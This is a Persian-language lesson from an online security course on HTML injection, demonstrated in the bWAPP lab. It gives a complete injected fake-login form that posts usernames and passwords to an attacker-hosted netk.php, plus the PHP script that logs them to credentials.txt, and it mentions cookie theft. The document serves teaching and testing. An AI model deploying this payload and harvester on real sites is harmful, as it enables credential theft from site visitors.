حمله HTML Injection

HTML Injection
تصویر شاخص

سلام دوستان، اکثر شما سؤال کرده اید که چگونه می توانیم با استفاده از آسیب پذیری تزریق HTML اطلاعات حساس را به دست آوریم؟ بنابراین در اینجا می خواهیم یک تکنیک بسیار ساده را به شما نشان دهیم که با استفاده از آن یک مهاجم می تواند اعتبار کاربر یا داده های حساس را بدست آورد.

 

معرفی کوتاه HTML Injection چیست؟

تزریق HTML نوعی تزریق است که وقتی کاربر قادر به کنترل یک نقطه ورودی در وب سایت است و می تواند کد HTML دلخواه خود را به یک نقطه آسیب پذیر وب سایت تزریق کند، رخ می دهد.

 

نقاط تزریق چیست؟

سایت های مختلف دارای فرم ثبت نام، نوار جستجو یا بخش نظرات هستند که مکان های مناسبی برای آزمایش تزریق html هستند. بنابراین در اینجا ما قصد داریم از محیط آزمایشگاهی bwapp به منظور آزمایش خود استفاده کنیم. بعد از انتخاب نوع حمله در محیط bwapp، کد زیر را در آن وارد می کنیم.

				
					<p>Sorry,Please Login Again</p></br> 
<form method="post" action="http://site.com/netk.php">
Username<input type="text" name="username"></br>
Password<input type="password" name="password"></br>
<input type="submit" value="Submit">
</form>
				
			

در تصویر بالا، مهاجم پیلود خود را از طریق باکس دیدگاه وارد می کند

پس از اجرای پیلود، هر کاربر که به وب سایت می رود، فرم ذخیره شده توسط مهاجم را دریافت می کند، که در تصویر زیر آورده شده است.

 

اکنون مهاجم باید منتظر بماند تا کاربر اطلاعات خود را وارد کند. اما مهاجمان چگونه اطلاعات وارد شده کاربران را دریافت می کنند؟ این سؤالی است که اگر کد بالا را به درستی بررسی کنید، پرونده ای به نام netk.php وجود دارد که در سرور مهاجمین میزبانی شده است. در netk.php یک فایل credentials.txt ایجاد شده که داده ها و اطلاعات به طور خودکار در آن پرونده قرار می گیرند.

				
					<?php
 file_put_contents("credentials.txt", "Account: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
 header('Location: http://example.com');
 exit();
				
			

اکنون بعد از وارد کردن اطلاعات توسط کاربرد در فرم بالا، می توانید پرونده credentials.txt را بررسی کنید. که در تصویر زیر اطلاعات قربانی را میتوانید مشاهده کنید.

 

 

همچنین می توانید با استفاده از تزریق html کوکی قربانی را نیز دریافت کنید. امیدوارم که برای شما مفید واقع شود .

دیدگاهتان را با ما درمیان بگذارید
تعداد دیدگاه : 0
امتیاز کلی : 0.0
پیشنهاد شده توسط : 0 کاربر
بر اساس 0 فروش
0
0
0
0
0

هنوز بررسی‌ای ثبت نشده است.

لطفا پیش از ارسال نظر، خلاصه قوانین زیر را مطالعه کنید:

فارسی بنویسید و از کیبورد فارسی استفاده کنید. بهتر است از فضای خالی (Space) بیش‌از‌حدِ معمول، شکلک یا ایموجی استفاده نکنید و از کشیدن حروف یا کلمات با صفحه‌کلید بپرهیزید.

نظرات خود را براساس تجربه و استفاده‌ی عملی و با دقت به نکات فنی ارسال کنید؛ بدون تعصب به محصول خاص، مزایا و معایب را بازگو کنید و بهتر است از ارسال نظرات چندکلمه‌‌ای خودداری کنید.
اولین کسی باشید که دیدگاهی می نویسد “حمله HTML Injection”

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

قیمت دوره

رایگان

امتیازی ثبت نشده است
سطح آموزش مقدماتی
تعداد دانشجو : 0
تاریخ انتشار: ۲۵ بهمن ۱۴۰۰آخرین بروزرسانی: 17 فروردین 1401تعداد بازدید: 115
قوانین و مزایای استفاده

  • دسترسی به فایل محصول به صورت مادام‌العمر
  • تضمین کیفیت آموزش ها
  • فعال‌سازی آنی لینک دانلود، پس از ثبت سفارش
  • فروش فقط از طریق آکادمی نتکا
  • به صورت رایگان یک یا چند آموزش را دریافت می کنید.
مدرس

حامد نوری

کارشناس حوزه امنیت شبکه و امنیت اطلاعات

قیمت دوره

رایگان